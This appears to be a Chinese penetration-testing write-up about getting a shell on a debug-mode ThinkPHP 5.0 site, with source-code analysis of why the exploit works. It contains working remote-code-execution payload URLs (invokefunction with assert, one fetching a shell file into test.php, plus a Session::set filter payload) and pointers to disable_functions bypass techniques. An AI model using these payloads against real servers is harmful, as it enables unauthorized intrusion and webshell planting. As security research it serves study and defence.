渗透记实|ThinkPhp绕过限制GetShell

渗透记实|ThinkPhp绕过限制GetShell

文章首发无法溯源安全团队公众号

0x01 前言

项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下…

0x02 踩坑

  1. 尝试命令执行,system被限制了

  1. 尝试包含日志文件,open_basedir限制了

  1. 这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案

  1. 尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含
1
_method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>

但是。。。

0x03 GetShell

俗话说,三个臭皮匠顶一个诸葛亮,求助师傅们后,给出了解决的办法

  1. Noel 师傅的解决方法及分析:

Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程

首先会进入App.php的Run方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static function run(Request $request = null)
{
………………………………
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
/*执行当前类的routeCheck方法,获取调度信息,如访问index模块下index控制器里的index方法,则
$dispatch = array(2) { ["type"]=> string(6) "module"
["module"]=> array(3) {
[0]=> string(5) "index" [1]=> string(5) "index" [2]=> string(5) "index" } }
*/
$dispatch = self::routeCheck($request, $config);
}

// 记录当前调度信息 将获取的调度信息,即模块,控制器,方法名存入Request类的dispatch属性中
$request->dispatch($dispatch);

// 记录路由和请求信息 调式模式,在\application\config.php 参数app_debug可配置
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}

………………………………
}

这里我们主要关注routeCheck和param两个函数,先看routeCheck

1
2
3
4
5
6
7
8
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
………………………………
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

主要是将请求参数什么的传入,经过check后就基本上都处理好了

在调试模式开启的情况下可以进入param函数

1
2
3
4
5
6
7
if (empty($this->param)) {
$method = $this->method(true);
......
$this->param = array_merge($this->get(false), $vars, $this->route(false));
}
return $this->input($this->param, $name, $default, $filter);

跟进input函数

1
2
3
4
5
6
7
8
9
10
11
  public function input($data = [], $name = '', $default = null, $filter = '')
{

......
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

getFilter取出filter的值,在这里也就是assert

array_walk_recursive

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

及对$data的每一个元素应用filterValue函数,跟进filterValue

1
2
3
4
5
6
7
8
function filterValue(&$value, $key, $filters){
......
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
......
}
  1. 铳梦师傅的解决方法及分析:

payload参考:

来自:https://xz.aliyun.com/t/3570#toc-4

1
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

执行phpinfo(这里注意看 ?s= 后的参数)

1
https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

拿shell

1
https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://127.0.0.1/shell.txt','test.php')

为什么要这么构造呢,给出当前的目录情况以及分析:

Route.php的parseUrl函数会对url进行处理

1
2
3
4
5
6
7
private static function parseUrl($url, $depr = '/', $autoSearch = false)
{
.......
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
......
}

首先将url中的/替换为|之后是parseUrlPath将url分割

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
......
......
} elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
} else {
......
}
return [$path, $var];
}

得到如下三部分

模块加载时Loder.php下的parseName函数

1
2
3
4
5
6
7
8
9
10
11
public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name);
} else {
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}
}

现在就会实例化\Think\app类并执行invokefunction方法

所以加../\的原因是可以再往前跳一层

0x04 bypass disable_functions

查看禁用

  1. 一开始没仔细看禁用的内容,直接就用了这个

    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

但是发现putenv被禁用了

  1. 换个方法,通过这篇文章

https://mochazz.github.io/2018/09/27/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E7%BB%95%E8%BF%87PHP%E7%9A%84disable_functions/

了解到利用pcntl扩展,确认系统支持

最终成功执行命令

作者

Se7en

发布于

2020-02-14

更新于

2022-03-31

许可协议

评论